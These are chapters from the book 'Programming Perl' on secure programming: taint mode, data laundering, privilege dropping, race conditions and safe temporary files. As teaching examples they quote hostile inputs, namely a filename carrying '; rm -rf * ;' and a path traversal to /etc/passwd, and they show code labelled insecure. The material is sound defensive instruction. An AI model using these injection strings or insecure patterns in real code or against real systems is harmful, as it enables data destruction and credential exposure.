Compared with Unix command-line shells, which are really just frameworks for calling other programs, Perl is easy to program securely because it's straightforward and self-contained. Unlike most shell programming languages, which are based on multiple, mysterious substitution passes on each line of the script, Perl uses a more conventional evaluation scheme with fewer hidden snags. Additionally, because the language has more built-in functionality, it can rely less upon external (and possibly untrustworthy) programs to accomplish its purposes.

Under Unix, Perl's home town, the preferred way to compromise system security was to cajole a privileged program into doing something it wasn't supposed to do. To stave off such attacks, Perl developed a unique approach for coping with hostile environments. Perl automatically enables taint mode whenever it detects its program running with differing real and effective user or group IDs.[1] Even if the file containing your Perl script doesn't have the setuid or setgid bits turned on, that script can still find itself executing in taint mode. This happens if your script was invoked by another program that was itself running under differing IDs. Perl programs that weren't designed to operate under taint mode tend to expire prematurely when caught violating safe tainting policy. This is just as well, since these are the sorts of shenanigans that were historically perpetrated on shell scripts to compromise system security. Perl isn't that gullible.

[1] The setuid bit in Unix permissions is mode 04000, and the setgid bit is 02000; either or both may be set to grant the user of the program some of the privileges of the owner (or owners) of the program. (These are collectively known as set-id programs.) Other operating systems may confer special privileges on programs in other ways, but the principle is the same.

You can also enable taint mode explicitly with the -T command-line switch. You should do this for daemons, servers, and any programs that run on behalf of someone else, such as CGI scripts. Programs that can be run remotely and anonymously by anyone on the Net are executing in the most hostile of environments. You should not be afraid to say "No!" occasionally. Contrary to popular belief, you can exercise a great deal of prudence without dehydrating into a wrinkled prude.

On the more security-conscious sites, running all CGI scripts under the -T flag isn't just a good a idea: it's the law. We're not claiming that running in taint mode is sufficient to make your script secure. It's not, and it would take a whole book just to mention everything that would. But if you aren't executing your CGI scripts under taint mode, you've needlessly abandoned the strongest protection Perl can give you.

While in taint mode, Perl takes special precautions called taint checks to prevent traps both obvious and subtle. Some of these checks are reasonably simple, such as verifying that dangerous environment variables aren't set and that directories in your path aren't writable by others; careful programmers have always used checks like these. Other checks, however, are best supported by the language itself, and it is these checks especially that contribute to making a privileged Perl program more secure than the corresponding C program, or a Perl CGI script more secure than one written in any language without taint checks. (Which, as far as we know, is any language other than Perl.)

The principle is simple: you may not use data derived from outside your program to affect something else outside your program--at least, not by accident. Anything that comes from outside your program is marked as tainted, including all command-line arguments, environment variables, and file input. Tainted data may not be used directly or indirectly in any operation that invokes a subshell, nor in any operation that modifies files, directories, or processes. Any variable set within an expression that has previously referenced a tainted value becomes tainted itself, even if it is logically impossible for the tainted value to influence the variable. Because taintedness is associated with each scalar, some individual values in an array or hash might be tainted and others might not. (Only the values in a hash can be tainted, though, not the keys.)

The following code illustrates how tainting would work if you executed all these statements in order. Statements marked "Insecure" will trigger an exception, whereas those that are "OK" will not.

$arg = shift(@ARGV);          # $arg is now tainted (due to @ARGV).
$hid = "$arg, 'bar'";         # $hid also tainted (due to $arg).
$line = <>;                   # Tainted (reading from external file).
$path = $ENV{PATH};           # Tainted due to %ENV, but see below.
$mine = 'abc';                # Not tainted.

system "echo $mine";          # Insecure until PATH set.
system "echo $arg";           # Insecure: uses sh with tainted $arg.
system "echo", $arg;          # OK once PATH set (doesn't use sh).
system "echo $hid";           # Insecure two ways: taint, PATH.

$oldpath = $ENV{PATH};        # $oldpath is tainted (due to $ENV).
$ENV{PATH} = '/bin:/usr/bin'; # (Makes it OK to execute other programs.)
$newpath = $ENV{PATH};        # $newpath is NOT tainted.

delete @ENV{qw{IFS
               CDPATH
               ENV
               BASH_ENV}};    # Makes %ENV safer.

system "echo $mine";          # OK, is secure once path is reset.
system "echo $hid";           # Insecure via tainted $hid.

open(OOF, "< $arg");          # OK (read-only opens not checked).
open(OOF, "> $arg");          # Insecure (trying to write to tainted arg).

open(OOF, "echo $arg|")       # Insecure due to tainted $arg, but...
    or die "can't pipe from echo: $!";

open(OOF,"-|")                # Considered OK: see below for taint
    or exec "echo", $arg      #   exemption on exec'ing a list.
    or die "can't exec echo: $!";

open(OOF,"-|", "echo", $arg   # Same as previous, likewise OKish.
    or die "can't pipe from echo: $!";

$shout = `echo $arg`;         # Insecure via tainted $arg.
$shout = `echo abc`;          # $shout is tainted due to backticks.
$shout2 = `echo $shout`;      # Insecure via tainted $shout.

unlink $mine, $arg;           # Insecure via tainted $arg.
umask $arg;                   # Insecure via tainted $arg.

exec "echo $arg";             # Insecure via tainted $arg passed to shell.
exec "echo", $arg;            # Considered OK! (But see below.)
exec "sh", '-c', $arg;        # Considered OK, but isn't really!

If you try to do something insecure, you get an exception (which unless trapped, becomes a fatal error) such as "Insecure dependency" or "Insecure $ENV{PATH}". See the section Section 23.1.2, "Cleaning Up Your Environment" later.

If you pass a LIST to a system, exec, or pipe open, the arguments are not inspected for taintedness, because with a LIST of arguments, Perl doesn't need to invoke the potentially dangerous shell to run the command. You can still easily write an insecure system, exec, or pipe open using the LIST form, as demonstrated in the final example above. These forms are exempt from checking because you are presumed to know what you're doing when you use them.

Sometimes, though, you can't tell how many arguments you're passing. If you supply these functions with an array[2] that contains just one element, then it's just as though you passed one string in the first place, so the shell might be used. The solution is to pass an explicit path in the indirect-object slot:

system @args;                 # Won't call the shell unless @args == 1.
system { $args[0] } @args;    # Bypasses shell even with one-argument list.

[2]Or a function that produces a list.

23.1.1. Detecting and Laundering Tainted Data

To test whether a scalar variable contains tainted data, you can use the following is_tainted function. It makes use of the fact that eval STRING raises an exception if you try to compile tainted data. It doesn't matter that the $nada variable used in the expression to compile will always be empty; it will still be tainted if $arg is tainted. The outer eval BLOCK isn't doing any compilation. It's just there to catch the exception raised if the inner eval is given tainted data. Since the $@ variable is guaranteed to be nonempty after each eval if an exception was raised and empty otherwise, we return the result of testing whether its length was zero:

sub is_tainted {
    my $arg = shift;
    my $nada = substr($arg, 0, 0);  # zero-length
    local $@;  # preserve caller's version
    eval { eval "# $nada" };
    return length($@) != 0;
}
But testing for taintedness only gets you so far. Usually you know perfectly well which variables contain tainted data--you just have to clear the data's taintedness. The only official way to bypass the tainting mechanism is by referencing submatches returned by an earlier regular expression match.[3] When you write a pattern that contains capturing parentheses, you can access the captured substrings through match variables like $1, $2, and $+, or by evaluating the pattern in list context. Either way, the presumption is that you knew what you were doing when you wrote the pattern and wrote it to weed out anything dangerous. So you need to give it some real thought--never blindly untaint, or else you defeat the entire mechanism.

[3]An unofficial way is by storing the tainted string as the key to a hash and fetching back that key. Because keys aren't really full SVs (internal name scalar values), they don't carry the taint property. This behavior may be changed someday, so don't rely on it. Be careful when handling keys, lest you unintentionally untaint your data and do something unsafe with them.

It's better to verify that the variable contains only good characters than to check whether it contains any bad characters. That's because it's far too easy to miss bad characters that you never thought of. For example, here's a test to make sure $string contains nothing but "word" characters (alphabetics, numerics, and underscores), hyphens, at signs, and dots:

if ($string =~ /^([-\@\w.]+)$/) {
    $string = $1;                     # $string now untainted.
}
else {
    die "Bad data in $string";        # Log this somewhere.
}

This renders $string fairly secure to use later in an external command, since /\w+/ doesn't normally match shell metacharacters, nor are those other characters going to mean anything special to the shell.[4] Had we used /(.+)/s instead, it would have been unsafe because that pattern lets everything through. But Perl doesn't check for that. When untainting, be exceedingly careful with your patterns. Laundering data by using regular expressions is the only approved internal mechanism for untainting dirty data. And sometimes it's the wrong approach entirely. If you're in taint mode because you're running set-id and not because you intentionally turned on -T, you can reduce your risk by forking a child of lesser privilege; see the section Section 23.1.2, "Cleaning Up Your Environment".

[4] Unless you were using an intentionally broken locale. Perl assumes that your system's locale definitions are potentially compromised. Hence, when running under the use locale pragma, patterns with a symbolic character class in them, such as \w or [[:alpha:]], produce tainted results.

The use re 'taint' pragma disables the implicit untainting of any pattern matches through the end of the current lexical scope. You might use this pragma if you just want to extract a few substrings from some potentially tainted data, but since you aren't being mindful of security, you'd prefer to leave the substrings tainted to guard against unfortunate accidents later.

Imagine you're matching something like this, where $fullpath is tainted:

($dir, $file) = $fullpath =~ m!(.*/)(.*)!s;
By default, $dir and $file would now be untainted. But you probably didn't want to do that so cavalierly, because you never really thought about the security issues. For example, you might not be terribly happy if $file contained the string "; rm -rf * ;", just to name one rather egregious example. The following code leaves the two result variables tainted if $fullpath was tainted:
{
    use re 'taint';
    ($dir, $file) = $fullpath =~ m!(.*/)(.*)!s;
}
A good strategy is to leave submatches tainted by default over the whole source file and only selectively permit untainting in nested scopes as needed:
use re 'taint';
# remainder of file now leaves $1 etc tainted
{
    no re 'taint';
    # this block now untaints re matches
    if ($num =~ /^(\d+)$/) {
        $num = $1;
    }
}
Input from a filehandle or a directory handle is automatically tainted, except when it comes from the special filehandle, DATA. If you want to, you can mark other handles as trusted sources via the IO::Handle module's untaint function:
use IO::Handle;

IO::Handle::untaint(*SOME_FH);          # Either procedurally
SOME_FH->untaint();                     # or using the OO style.
Turning off tainting on an entire filehandle is a risky move. How do you really know it's safe? If you're going to do this, you should at least verify that nobody but the owner can write to the file.[5] If you're on a Unix filesystem (and one that prudently restricts chown(2) to the superuser), the following code works:
use File::stat;
use Symbol 'qualify_to_ref';
sub handle_looks_safe(*) {
    my $fh = qualify_to_ref(shift, caller);
    my $info = stat($fh);
    return unless $info;

    # owner neither superuser nor "me", whose
    # real uid is in the $< variable
    if ($info->uid != 0 && $info->uid != $<) {
        return 0;
    }

    # check whether group or other can write file.
    # use 066 to detect for readability also
    if ($info->mode & 022) {
        return 0;
    }
    return 1;
}

use IO::Handle;
SOME_FH->untaint() if handle_looks_safe(*SOME_FH);
We called stat on the filehandle, not the filename, to avoid a dangerous race condition. See the section Section 23.2.2, "Handling Race Conditions" later in this chapter.

[5] Although you can untaint a directory handle, too, this function only works on a filehandle. That's because given a directory handle, there's no portable way to extract its file descriptor to stat.

Note that this routine is only a good start. A slightly more paranoid version would check all parent directories as well, even though you can't reliably stat a directory handle. But if any parent directory is world-writable, you know you're in trouble whether or not there are race conditions.

Perl has its own notion of which operations are dangerous, but it's still possible to get into trouble with other operations that don't care whether they use tainted values. It's not always enough to be careful of input. Perl output functions don't test whether their arguments are tainted, but in some environments, this matters. If you aren't careful of what you output, you might just end up spitting out strings that have unexpected meanings to whoever is processing the output. If you're running on a terminal, special escape and control codes could cause the viewer's terminal to act strangely. If you're in a web environment and you blindly spit back out data that was given to you, you could unknowingly produce HTML tags that would drastically alter the page's appearance. Worse still, some markup tags can even execute code back on the browser.

Imagine the common case of a guest book where visitors enter their own messages to be displayed when others come calling. A malicious guest could supply unsightly HTML tags or put in <SCRIPT>...</SCRIPT> sequences that execute code (like JavaScript) back in the browsers of subsequent guests.

Just as you should carefully check for only good characters when inspecting tainted data that accesses resources on your own system, you should apply the same care in a web environment when presenting data supplied by a user. For example, to strip the data of any character not in the specified list of good characters, try something like this:

$new_guestbook_entry =~ tr[_a-zA-Z0-9 ,./!?()@+*-][]dc;
You certainly wouldn't use that to clean up a filename, since you probably don't want filenames with spaces or slashes, just for starters. But it's enough to keep your guest book free of sneaky HTML tags and entities. Each data-laundering case is a little bit different, so always spend time deciding what is and what is not permitted. The tainting mechanism is intended to catch stupid mistakes, not to remove the need for thought.

23.1.2. Cleaning Up Your Environment

When you execute another program from within your Perl script, no matter how, Perl checks to make sure your PATH environment variable is secure. Since it came from your environment, your PATH starts out tainted, so if you try to run another program, Perl raises an "Insecure $ENV{PATH}" exception. When you set it to a known, untainted value, Perl makes sure that each directory in that path is nonwritable by anyone other than the directory's owner and group; otherwise, it raises an "Insecure directory" exception.

You may be surprised to find that Perl cares about your PATH even when you specify the full pathname of the command you want to execute. It's true that with an absolute filename, the PATH isn't used to find the executable to run. But there's no reason to trust the program you're running not to turn right around and execute some other program and get into trouble because of the insecure PATH. So Perl forces you to set a secure PATH before you call any program, no matter how you say to call it.

The PATH isn't the only environment variable that can bring grief. Because some shells use the variables IFS, CDPATH, ENV, and BASH_ENV, Perl makes sure that those are all either empty or untainted before it will run another command. Either set these variables to something known to be safe, or else delete them from the environment altogether:

delete @ENV{qw(IFS CDPATH ENV BASH_ENV)};   # Make %ENV safer
Features convenient in a normal environment can become security concerns in a hostile one. Even if you remember to disallow filenames containing newlines, it's important to understand that open accesses more than just named files. Given appropriate ornamentation on the filename argument, one- or two-argument calls to open can also run arbitrary external commands via pipes, fork extra copies of the current process, duplicate file descriptors, and interpret the special filename "-" as an alias for standard input or output. It can also ignore leading and trailing whitespace that might disguise such fancy arguments from your check patterns. While it's true that Perl's taint checking will catch tainted arguments used for pipe opens (unless you use a separated argument list) and any file opens that aren't read-only, the exception this raises is still likely to make your program misbehave.

If you intend to use any externally derived data as part of a filename to open, at least include an explicit mode separated by a space. It's probably safest, though, to use either the low-level sysopen or the three-argument form of open:

# Magic open--could be anything
open(FH, $file)             or die "can't magic open $file: $!";

# Guaranteed to be a read-only file open and not a pipe
# or fork, but still groks file descriptors and "-",
# and ignores whitespace at either end of name.
open(FH, "< $file")         or die "can't open $file: $!";

# WYSIWYG open: disables all convenience features.
open(FH, "<", $file)        or die "can't open $file: $!";

# Same properties as WYSIWYG 3-arg version.
require Fcntl;
sysopen(FH, $file, O_RDONLY)        or die "can't sysopen $file: $!";
Even these steps aren't quite good enough. Perl doesn't prevent you from opening tainted filenames for reading, so you need to be careful of what you show people. A program that opens an arbitrary, user-supplied filename for reading and then reveals that file's contents is still a security problem. What if it's a private letter? What if it's your system password file? What if it's salary information or your stock portfolio?

Look closely at filenames provided by a potentially hostile user[6] before opening them. For example, you might want to verify that there are no sneaky directory components in the path. Names like "../../../../../../../etc/passwd" are notorious tricks of this sort. You can protect yourself by making sure there are no slashes in the pathname (assuming that's your system's directory separator). Another common trick is to put newlines or semicolons into filenames that will later be interpreted by some poor, witless command-line interpreter that can be fooled into starting a new command in the middle of the filename. This is why taint mode discourages uninspected external commands.

[6]And on the Net, the only users you can trust not to be potentially hostile are the ones who are being actively hostile instead.

23.1.3. Accessing Commands and Files Under Reduced Privileges

The following discussion pertains to some nifty security facilities of Unix-like systems. Users of other systems may safely (or rather, unsafely) skip this section.

If you're running set-id, try to arrange that, whenever possible, you do dangerous operations with the privileges of the user, not the privileges of the program. That is, whenever you're going to call open, sysopen, system, backticks, and any other file or process operations, you can protect yourself by setting your effective UID or GID back to the real UID or GID. In Perl, you can do this for setuid scripts by saying $> = $< (or $EUID = $UID if you use English) and for setgid scripts by saying $( = $) ($EGID = $GID). If both IDs are set, you should reset both. However, sometimes this isn't feasible, because you might still need those increased privileges later in your program.

For those cases, Perl provides a reasonably safe way to open a file or pipe from within a set-id program. First, fork a child using the special open syntax that connects the parent and child by a pipe. In the child, reset the user and group IDs back to their original or known safe values. You also get to modify any of the child's per-process attributes without affecting the parent, letting you change the working directory, set the file creation mask, or fiddle with environment variables. No longer executing under extra privileges, the child process at last calls open and passes whatever data it manages to access on behalf of the mundane but demented user back up to its powerful but justly paranoid parent.

Even though system and exec don't use the shell when you supply them with more than one argument, the backtick operator admits no such alternative calling convention. Using the forking technique, we easily emulate backticks without fear of shell escapes, and with reduced (and therefore safer) privileges:

use English;   # to use $UID, etc
die "Can't fork open: $!"   unless defined($pid = open(FROMKID, "-|"));
if ($pid) {           # parent
    while (<FROMKID>) {
        # do something
    }
    close FROMKID;
}
else {
    $EUID = $UID;  # setuid(getuid())
    $EGID = $GID;  # setgid(getgid()), and initgroups(2) on getgroups(2)
    chdir("/")      or die "can't chdir to /: $!";
    umask(077);
    $ENV{PATH} = "/bin:/usr/bin";
    exec 'myprog', 'arg1', 'arg2';
    die "can't exec myprog: $!";
}
This is by far the best way to call other programs from a set-id script. You make sure never to use the shell to execute anything, and you drop your privileges before you yourself exec the program. (But because the list forms of system, exec, and pipe open are specifically exempted from taint checks on their arguments, you must still be careful of what you pass in.)

If you don't need to drop privileges, and just want to implement backticks or a pipe open without risking the shell intercepting your arguments, you could use this:

open(FROMKID, "-|") or exec("myprog", "arg1", "arg2")
    or die "can't run myprog: $!";
and then just read from FROMKID in the parent. As of the 5.6.1 release of Perl, you can write that as:
open(FROMKID, "-|", "myprog", "arg1", "arg2");
The forking technique is useful for more than just running commands from a set-id program. It's also good for opening files under the ID of whoever ran the program. Suppose you had a setuid program that needed to open a file for writing. You don't want to run the open under your extra privileges, but you can't permanently drop them, either. So arrange for a forked copy that's dropped its privileges to do the open for you. When you want to write to the file, write to the child, and it will then write to the file for you.
use English;

defined ($pid = open(SAFE_WRITER, "|-"))
    or die "Can't fork: $!";

if ($pid) {
    # you're the parent. write data to SAFE_WRITER child
    print SAFE_WRITER "@output_data\n";
    close SAFE_WRITER
        or die $! ? "Syserr closing SAFE_WRITER writer: $!"
                  : "Wait status $? from SAFE_WRITER writer";
}
else {
    # you're the child, so drop extra privileges
    ($EUID, $EGID) = ($UID, $GID);

    # open the file under original user's rights
    open(FH, "> /some/file/path")
        or die "can't open /some/file/path for writing: $!";

    # copy from parent (now stdin) into the file
    while (<STDIN>) {
        print FH $_;
    }
    close(FH)   or die "close failed: $!";
    exit;       # Don't forget to make the SAFE_WRITER disappear.
}
Upon failing to open the file, the child prints an error message and exits. When the parent writes to the now-defunct child's filehandle, it triggers a broken pipe signal (SIGPIPE), which is fatal unless trapped or ignored. See the section Section 23.1, "Signals" in Chapter 16, "Interprocess Communication".

Previous | Home | Next
22.3. Creating CPAN Modules | Book Index | 23.2. Handling Timing Glitches
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Handling Timing Glitches (Programming Perl)

 Book Home Programming PerlSearch this book

23.2. Handling Timing Glitches

Sometimes your program's behavior is exquisitely sensitive to the timing of external events beyond your control. This is always a concern when other programs, particularly inimical ones, might be vying with your program for the same resources (such as files or devices). In a multitasking environment, you cannot predict the order in which processes waiting to run will be granted access to the processor. Instruction streams among all eligible processes are interleaved, so first one process gets some CPU, and then another process, and so on. Whose turn it is to run, and how long they're allowed to run, appears to be random. With just one program that's not a problem, but with several programs sharing common resources, it can be.

Thread programmers are especially sensitive to these issues. They quickly learn not to say:

$var++ if $var == 0;
when they should say:
{
    lock($var);
    $var++ if $var == 0;
}
The former produces unpredictable results when multiple execution threads attempt to run this code at the same time. (See Chapter 17, "Threads".) If you think of files as shared objects, and processes as threads contending for access to those shared objects, you can see how the same issues arise. A process, after all, is really just a thread with an attitude. Or vice versa.

Timing unpredictabilities affect both privileged and nonprivileged situations. We'll first describe how to cope with a long-standing bug in old Unix kernels that affects any set-id program. Then we'll move on to discuss race conditions in general, how they can turn into security holes, and steps you can take to avoid falling into these holes.

23.2.1. Unix Kernel Security Bugs

Beyond the obvious problems that stem from giving special privileges to interpreters as flexible and inscrutable as shells, older versions of Unix have a kernel bug that makes any set-id script insecure before it ever gets to the interpreter. The problem is not the script itself, but a race condition in what the kernel does when it finds a set-id executable script. (The bug doesn't exist on machines that don't recognize #! in the kernel.) When a kernel opens such a file to see which interpreter to run, there's a delay before the (now set-id) interpreter starts up and reopens the file. That delay gives malicious entities a chance to change the file, especially if your system supports symbolic links.

Fortunately, sometimes this kernel "feature" can be disabled. Unfortunately, there are a couple of different ways to disable it. The system can outlaw scripts with the set-id bits set, which doesn't help much. Alternatively, it can ignore the set-id bits on scripts. In the latter case, Perl can emulate the setuid and setgid mechanism when it notices the (otherwise useless) set-id bits on Perl scripts. It does this via a special executable called suidperl, which is automatically invoked for you if it's needed.[7]

[7]Needed and permitted--if Perl detects that the filesystem on which the script resides was mounted with the nosuid option, that option will still be honored. You can't use Perl to sneak around your sysadmin's security policy this way.

However, if the kernel set-id script feature isn't disabled, Perl will complain loudly that your setuid script is insecure. You'll either need to disable the kernel set-id script "feature", or else put a C wrapper around the script. A C wrapper is just a compiled program that does nothing except call your Perl program. Compiled programs are not subject to the kernel bug that plagues set-id scripts.

Here's a simple wrapper, written in C:

#define REAL_FILE "/path/to/script"
main(ac, av)
    char **av;
{
    execv(REAL_FILE, av);
}
Compile this wrapper into an executable image and then make it rather than your script set-id. Be sure to use an absolute filename, since C isn't smart enough to do taint checking on your PATH.

(Another possible approach is to use the experimental C code generator for the Perl compiler. A compiled image of your script will not have the race condition. See Chapter 18, "Compiling".)

Vendors in recent years have finally started to provide systems free of the set-id bug. On such systems, when the kernel gives the name of the set-id script to the interpreter, it no longer uses a filename subject to meddling, but instead passes a special file representing the file descriptor, like /dev/fd/3. This special file is already opened on the script so that there can be no race condition for evil scripts to exploit.[8] Most modern versions of Unix use this approach to avoid the race condition inherent in opening the same filename twice.

[8]On these systems, Perl should be compiled with -DSETUID_SCRIPTS_ARE_SECURE_NOW. The Configure program that builds Perl tries to figure this out for itself, so you should never have to specify this explicitly.

23.2.2. Handling Race Conditions

Which runs us right into the topic of race conditions. What are they really? Race conditions turn up frequently in security discussions. (Although less often than they turn up in insecure programs. Unfortunately.) That's because they're a fertile source of subtle programming errors, and such errors can often be turned into security exploits (the polite term for screwing up someone's security). A race condition exists when the result of several interrelated events depends on the ordering of those events, but that order cannot be guaranteed due to nondeterministic timing effects. Each event races to be the first one done, and the final state of the system is anybody's guess.

Imagine you have one process overwriting an existing file, and another process reading that same file. You can't predict whether you read in old data, new data, or a haphazard mixture of the two. You can't even know whether you've read all the data. The reader could have won the race to the end of the file and quit. Meanwhile, if the writer kept going after the reader hit end-of-file, the file would grow past where the reader stopped reading, and the reader would never know it.

Here the solution is simple: just have both parties flock the file. The reader typically requests a shared lock, and the writer typically requests an exclusive one. So long as all parties request and respect these advisory locks, reads and writes cannot be interleaved, and there's no chance of mutilated data. See the section Section 23.2.1, "File Locking" in Chapter 16, "Interprocess Communication".

You risk a far less obvious form of race condition every time you let operations on a filename govern subsequent operations on that file. When used on filenames rather than filehandles, the file test operators represent something of a garden path leading straight into a race condition. Consider this code:

if (-e $file) {
    open(FH, "< $file")
        or die "can't open $file for reading: $!";
}
else {
    open(FH, "> $file")
        or die "can't open $file for writing: $!";
}
The code looks just about as straightforward as it gets, but it's still subject to races. There's no guarantee that the answer returned by the -e test will still be valid by the time either open is called. In the if block, another process could have removed the file before it could be opened, and you wouldn't find the file you thought was going to be there. In the else block, another process could have created the file before the second open could get its turn to create the file, so the file that you thought would not be there, would be. The simple open function creates new files but overwrites existing ones. You may think you want to overwrite any existing file, but consider that the existing file might be a newly created alias or symbolic link to a file elsewhere on the system that you very much don't want to overwrite. You may think you know what a filename means at any particular instant, but you can never really be sure, as long as any other processes with access to the file's directory are running on the same system.

To fix this problem of overwriting, you'll need to use sysopen, which provides individual controls over whether to create a new file or to clobber an existing one. And we'll ditch that -e file existence test since it serves no useful purpose here and only increases our exposure to race conditions.

use Fcntl qw/O_WRONLY O_CREAT O_EXCL/;
open(FH, "<", $file)
    or sysopen(FH, $file, O_WRONLY | O_CREAT | O_EXCL)
    or die "can't create new file $file: $!";
Now even if the file somehow springs into existence between when open fails and when sysopen tries to open a new file for writing, no harm is done, because with the flags provided, sysopen will refuse to open a file that already exists.

If someone is trying to trick your program into misbehaving, there's a good chance they'll go about it by having files appear and disappear when you're not expecting. One way to reduce the risk of deception is by promising yourself you'll never operate on a filename more than once. As soon as you have the file opened, forget about the filename (except maybe for error messages), and operate only on the handle representing the file. This is much safer because, even though someone could play with your filenames, they can't play with your filehandles. (Or if they can, it's because you let them--see "Passing Filehandles" in Chapter 16, "Interprocess Communication".)

Earlier in this chapter, we showed a handle_looks_safe function which called Perl's stat function on a filehandle (not a filename) to check its ownership and permissions. Using the filehandle is critical to correctness--if we had used the name of the file, there would have been no guarantee that the file whose attributes we were inspecting was the same one we just opened (or were about to open). Some pesky evil doer could have deleted our file and quickly replaced it with a file of nefarious design, sometime between the stat and the open. It wouldn't matter which was called first; there'd still be the opportunity for foul play between the two. You may think that the risk is very small because the window is very short, but there are many cracking scripts out in the world that will be perfectly happy to run your program thousands of times to catch it the one time it wasn't careful enough. A smart cracking script can even lower the priority of your program so it gets interrupted more often than usual, just to speed things up a little. People work hard on these things--that's why they're called exploits.

By calling stat on a filehandle that's already open, we only access the filename once and so avoid the race condition. A good strategy for avoiding races between two events is to somehow combine both into one, making the operation atomic.[9] Since we access the file by name only once, there can't be any race condition between multiple accesses, so it doesn't matter whether the name changes. Even if our cracker deletes the file we opened (yes, that can happen) and puts a different one there to trick us with, we still have a handle to the real, original file.

[9] Yes, you may still perform atomic operations in a nuclear-free zone. When Democritus gave the word "atom" to the indivisible bits of matter, he meant literally something that could not be cut: a- (not) + tomos (cuttable). An atomic operation is an action that can't be interrupted. (Just you try interrupting an atomic bomb sometime.)

23.2.3. Temporary Files

Apart from allowing buffer overruns (which Perl scripts are virtually immune to) and trusting untrustworthy input data (which taint mode guards against), creating temporary files improperly is one of the most frequently exploited security holes. Fortunately, temp file attacks usually require crackers to have a valid user account on the system they're trying to crack, which drastically reduces the number of potential bad guys.

Careless or casual programs use temporary files in all kinds of unsafe ways, like placing them in world-writable directories, using predictable filenames, and not making sure the file doesn't already exist. Whenever you find a program with code like this:

open(TMP, ">/tmp/foo.$$")
    or die "can't open /tmp/foo.$$: $!";
you've just found all three of those errors at once. That program is an accident waiting to happen.

The way the exploit plays out is that the cracker first plants a file with the same name as the one you'll use. Appending the PID isn't enough for uniqueness; surprising though it may sound, guessing PIDs really isn't difficult.[10] Now along comes the program with the careless open call, and instead of creating a new temporary file for its own purposes, it overwrites the cracker's file instead.

[10]Unless you're on a system like OpenBSD, which randomizes new PID assignments.

So what harm can that do? A lot. The cracker's file isn't really a plain file, you see. It's a symbolic link (or sometimes a hard link), probably pointing to some critical file that crackers couldn't normally write to on their own, such as /etc/passwd. The program thought it opened a brand new file in /tmp, but it clobbered an existing file somewhere else instead.

Perl provides two functions that address this issue, if properly used. The first is POSIX::tmpnam, which just returns a filename that you're expected to open for yourself:

# Keep trying names until we get one that's brand new.
use POSIX;
do {
    $name = tmpnam();
} until sysopen(TMP, $name, O_RDWR | O_CREAT | O_EXCL, 0600);
# Now do I/O using TMP handle.
The second is IO::File::new_tmpfile, which gives you back an already opened handle:
# Or else let the module do that for us.
use IO::File;
my $fh = IO::File::new_tmpfile();  # this is POSIX's tmpfile(3)
# Now do I/O using $fh handle.
Neither approach is perfect, but of the two, the first is the better approach. The major problem with the second one is that Perl is subject to the foibles of whatever implementation of tmpfile(3) happens to be in your system's C library, and you have no guarantee that this function doesn't do something just as dangerous as the open we're trying to fix. (And some, sadly enough, do.) A minor problem is that it doesn't give you the name of the file at all. Although it's better if you can handle a temp file without a name--because that way you'll never provoke a race condition by trying to open it again--often you can't.

The major problem with the first approach is that you have no control over the location of the pathname, as you do with the C library's mkstemp(3) function. For one thing, you never want to put the file on an NFS-mounted filesystem. The O_EXCL flag is not guaranteed to work correctly under NFS, so multiple processes that request an exclusive create at nearly the same time might all succeed. For another, because the path returned is probably in a directory others can write to, someone could plant a symbolic link pointing to a nonexistent file, forcing you to create your file in a location they prefer.[11] If you have any say in it, don't put temp files in a directory that anyone else can write to. If you must, make sure to use the O_EXCL flag to sysopen, and try to use directories with the owner-delete-only flag (the sticky bit) set on them.

[11]A solution to this, which works only under some operating systems, is to call sysopen and OR in the O_NOFOLLOW flag. This makes the function fail if the final component of the path is a symbolic link.

As of version 5.6.1 of Perl, there is a third way. The standard File::Temp module takes into account all the difficulties we've mentioned. You might use the default options like this:

use File::Temp "tempfile";
$handle = tempfile();

Or you might specify some of the options like this:

use File::Temp "tempfile";
($handle, $filename) = tempfile("plughXXXXXX",
                                DIR => "/var/spool/adventure",
                                SUFFIX = '.dat');

The File::Temp module also provides security-conscious emulations of the other functions we've mentioned (though the native interface is better because it gives you an opened filehandle, not just a filename, which is subject to race conditions). See Chapter 32, "Standard Modules", for a longer description of the options and semantics of this module.

Once you have your filehandle, you can do whatever you want with it. It's open for both reading and writing, so you can write to the handle, seek back to the beginning, and then if you want, overwrite what you'd just put there or read it back again. The thing you really, really want to avoid doing is ever opening that filename again, because you can't know for sure that it's really the same file you opened the first time around.[12]

[12] Except afterwards by doing a stat on both filehandles and comparing the first two return values of each (the device/inode pair). But it's too late by then because the damage is already done. All you can do is detect the damage and abort (and maybe sneakily send email to the system administrator).

When you launch another program from within your script, Perl normally closes all filehandles for you to avoid another vulnerability. If you use fcntl to clear your close-on-exec flag (as demonstrated at the end of the entry on open in Chapter 29, "Functions"), other programs you call will inherit this new, open file descriptor. On systems that support the /dev/fd/ directory, you could provide another program with a filename that really means the file descriptor by constructing it this way:

$virtname = "/dev/fd/" . fileno(TMP);
If you only needed to call a Perl subroutine or program that's expecting a filename as an argument, and you knew that subroutine or program used regular open for it, you could pass the handle using Perl's notation for indicating a filehandle:
$virtname = "=&" . fileno(TMP);
When that file "name" is passed with a regular Perl open of one or two arguments (not three, which would dispel this useful magic), you gain access to the duplicated descriptor. In some ways, this is more portable than passing a file from /dev/fd/, because it works everywhere that Perl works; not all systems have a /dev/fd/ directory. On the other hand, the special Perl open syntax for accessing file descriptors by number works only with Perl programs, not with programs written in other languages.

Previous | Home | Next
23.1. Handling Insecure Data | Book Index | 23.3. Handling Insecure Code
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Handling Insecure Code (Programming Perl)

 Book Home Programming PerlSearch this book

23.3. Handling Insecure Code

Taint checking is just the sort of security blanket you need if you want to catch bogus data you ought to have caught yourself, but didn't think to catch before passing off to the system. It's a bit like the optional warnings Perl can give you--they may not indicate a real problem, but on average the pain of dealing with the false positives is less than the pain of not dealing with the false negatives. With tainting, the latter pain is even more insistent, because using bogus data doesn't just give the wrong answers; it can blow your system right out of the water, along with your last two years of work. (And maybe your next two, if you didn't make good backups.) Taint mode is useful when you trust yourself to write honest code but don't necessarily trust whoever is feeding you data not to try to trick you into doing something regrettable.

Data is one thing. It's quite another matter when you don't even trust the code you're running. What if you fetch an applet off the Net and it contains a virus, or a time bomb, or a Trojan horse? Taint checking is useless here because the data you're feeding the program may be fine--it's the code that's untrustworthy. You're placing yourself in the position of someone who receives a mysterious device from a stranger, with a note that says, "Just hold this to your head and pull the trigger." Maybe you think it will dry your hair, but you might not think so for very long.

